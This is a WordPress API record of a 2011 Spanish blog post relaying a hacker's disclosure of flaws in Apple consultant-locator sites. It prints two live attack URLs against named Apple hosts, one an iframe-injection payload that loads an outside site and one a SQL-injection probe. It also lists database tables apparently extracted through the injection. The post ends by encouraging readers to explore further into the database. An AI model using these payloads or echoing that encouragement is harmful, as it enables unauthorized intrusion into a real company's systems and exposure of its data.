{"id":1340,"date":"2011-07-05T10:32:21","date_gmt":"2011-07-05T15:32:21","guid":{"rendered":"http:\/\/puchunguis.com\/blog\/?p=1340"},"modified":"2011-07-05T10:32:21","modified_gmt":"2011-07-05T15:32:21","slug":"apple-com-vulnerable-a-blind-sql-e-iframe-injection","status":"publish","type":"post","link":"https:\/\/www.jorgealdana.pro\/blog\/seguridad\/apple-com-vulnerable-a-blind-sql-e-iframe-injection\/","title":{"rendered":"Apple.com, vulnerable a blind SQL e Iframe Injection"},"content":{"rendered":"

Un hacker liban\u00e9s \u00abIdahc\u00bb que asegura no pertenecer al grupo Anonymous o Lulzsec expuso unas vulnerabilidades pertenecientes a la manzana.<\/p>\n

Iframe Injection
\nhttps:\/\/consultants.apple.com\/au\/locator_results.php?sl=%22%3E%3Ciframe%2520src%3dhttp%3a%2f%2fblog.puchunguis.com%3E<\/a><\/p>\n

\"\"<\/a><\/p>\n

SQL Injection
\nhttp:\/\/consultants-locator.apple.com\/companySearch.php?PHPSESSID=778153fc1a5a58ff32322a8fd24f0ff6&fuseaction=home.directory&offset=0&rppg=8&q=’&cf=hu&<\/a><\/p>\n

\"\"<\/a><\/p>\n

DATABASE = APPLE
\nTable_name Apple :<\/p>\n

address
\napplication
\napplication_company_relationship
\napplication_geocoverage
\napplication_option
\napplicaion_routing
\nattachment
\nauth_company_permission
\nauth_user_default_permission
\nauth_user_permission
\ncatalog_category
\ncatalog_discount
\ncatalog_order
\ncatalog_order_product
\ncatalog_product
\ncatalog_product_category
\ncatalog_product_discount
\ncatalog_product_mdf_campaign
\ncatalog_product_mdf_fund
\ncatalog_prodpcu_product
\ncatalog_product_rating
\nclass_field_input
\ncompany
\ncomapny_address
\naddressID
\nalphabetID
\nlabel
\nstreet
\ncity
\nstate
\npostale
\ncountryId
\nphone_number
\nphone_fax
\nlatitude
\nlongitude<\/p>\n

Y quien sabe, si exploras quiz\u00e1s puedas encontrar algo m\u00e1s que la tabla de consultores.<\/p>\n

Fuente: Pastebin<\/p>\n","protected":false},"excerpt":{"rendered":"

Un hacker liban\u00e9s \u00abIdahc\u00bb que asegura no pertenecer al grupo Anonymous o Lulzsec expuso unas vulnerabilidades pertenecientes a la manzana. Iframe Injection https:\/\/consultants.apple.com\/au\/locator_results.php?sl=%22%3E%3Ciframe%2520src%3dhttp%3a%2f%2fblog.puchunguis.com%3E SQL Injection http:\/\/consultants-locator.apple.com\/companySearch.php?PHPSESSID=778153fc1a5a58ff32322a8fd24f0ff6&fuseaction=home.directory&offset=0&rppg=8&q=’&cf=hu& DATABASE = APPLE Table_name Apple : address application application_company_relationship application_geocoverage application_option applicaion_routing attachment auth_company_permission auth_user_default_permission auth_user_permission catalog_category catalog_discount catalog_order catalog_order_product catalog_product catalog_product_category catalog_product_discount catalog_product_mdf_campaign catalog_product_mdf_fund catalog_prodpcu_product catalog_product_rating class_field_input company comapny_address addressID alphabetID label street city state postale countryId phone_number phone_fax latitude longitude Y quien sabe, si exploras quiz\u00e1s puedas encontrar algo m\u00e1s que la tabla de consultores. Fuente: Pastebin<\/p>\n","protected":false},"author":1,"featured_media":1343,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[2364,78,2366,2365,7],"class_list":["post-1340","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-seguridad","tag-appe-hackeado","tag-apple","tag-apple-sql-injection","tag-consultants-apple","tag-hackers","has_thumb"],"_links":{"self":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts\/1340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/comments?post=1340"}],"version-history":[{"count":1,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts\/1340\/revisions"}],"predecessor-version":[{"id":1344,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts\/1340\/revisions\/1344"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/media\/1343"}],"wp:attachment":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/media?parent=1340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/categories?post=1340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/tags?post=1340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}